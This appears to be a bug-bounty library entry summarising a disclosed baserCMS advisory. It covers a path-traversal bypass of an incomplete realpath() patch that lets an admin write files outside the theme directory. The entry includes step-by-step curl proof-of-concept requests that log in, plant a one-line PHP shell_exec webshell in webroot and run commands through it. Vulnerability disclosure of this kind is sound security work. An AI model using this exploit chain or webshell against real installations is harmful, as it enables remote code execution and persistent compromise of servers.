# baserCMS: Path Traversal Bypass via realpath() in BcThemeFileService (CVE-2026-30940 Patch Bypass)

Incomplete baserCMS 5.2.3 patch: realpath() check skipped when theme subdirectory absent, letting admins traverse ../ to write a PHP webshell and get RCE.

- Payout: Research
- Severity: high
- Program: baserCMS
- Found by: tuannm-1876, arpitjain099
- Disclosed: 2026-11-20
- CVE: CVE-2026-62955
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-2pj4-v76f-wjvx
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-2pj4-v76f-wjvx
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:source-review vuln:file-upload vuln:path-traversal vuln:rce

**Target:** BcThemeFileService::getFullpath() via admin theme_files add API
**Root cause:** The CVE-2026-30940 fix wraps the traversal check in `if ($resolvedBase !== false)`, so when realpath($baseDir) returns false (target subdirectory doesn't exist on disk) the validation is skipped and the raw ../ path is returned.
**Steps:**
1. Login via `POST /baser/api/admin/baser-core/users/login.json` with admin creds to get JWT.
2. Confirm `plugins/BcThemeSample/webroot/js/` does not exist so realpath() returns false.
3. `POST /baser/api/admin/bc-theme-file/theme_files/add.json` with Bearer token and body `{"theme":"BcThemeSample","plugin":"","type":"js","path":"../../../../webroot/","base_name":"rce_direct","ext":"php","contents":"<?php echo shell_exec($_GET[\"c\"]); ?>"}`.
4. Request `GET /rce_direct.php?c=id` to execute commands as www-data.
**How found:** Reviewed the 5.2.3 patch for CVE-2026-30940 and noticed the validation was gated on `realpath($baseDir) !== false`, hypothesizing that a non-existent type directory would skip the check entirely.
**Exploitation:** Authenticated admin picks a `type` mapping to a non-existent theme subdirectory (e.g. js), causing realpath($baseDir) to return false and skip validation; the ../ path escapes to webroot/ and the add endpoint writes an attacker-controlled PHP file, executed over HTTP for RCE. Rotating to other unused type values restores the bypass after the directory is created.
**Escalation:** Arbitrary write to webroot/, config/ or tmp/ enables webshell RCE, config tampering, file overwrite/deletion and persistent backdoors.
**Insight:** When auditing a path-traversal fix, check whether the guard is conditional on filesystem state (realpath/exists/is_dir); any branch where resolution fails typically falls through to the unvalidated return. Test with type values whose directories don't exist.

## Proof of concept (copied exactly from the original report)

**Exploit request writing PHP webshell via traversal**

```
curl -s -X POST "http://localhost/baser/api/admin/bc-theme-file/theme_files/add.json" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "theme":    "BcThemeSample",
    "plugin":   "",
    "type":     "js",
    "path":     "../../../../webroot/",
    "base_name":"rce_direct",
    "ext":      "php",
    "contents": "<?php echo shell_exec($_GET[\"c\"]); ?>"
  }'
# Response: HTTP 200 {"message":"ファイル「rce_direct.php」を作成しました。",...}
```

**Login request obtaining JWT token**

```
curl -s -X POST "http://localhost/baser/api/admin/baser-core/users/login.json" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"password"}'
# Response: {"access_token":"eyJ0eXA...","refresh_token":"eyJ0eXA..."}
```

**RCE execution of written webshell**

```
curl "http://localhost/rce_direct.php?c=id"
# Output: uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
```

